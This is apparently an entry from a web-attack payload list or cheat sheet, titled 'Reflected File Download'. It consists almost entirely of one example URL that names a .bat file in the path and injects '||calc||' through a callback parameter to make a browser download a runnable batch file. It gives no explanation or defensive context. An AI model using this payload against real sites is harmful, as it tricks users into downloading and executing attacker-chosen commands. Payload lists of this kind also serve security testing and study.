Reflected File Download

Example:

http://example.com/api;/evil.bat;?callback=||calc||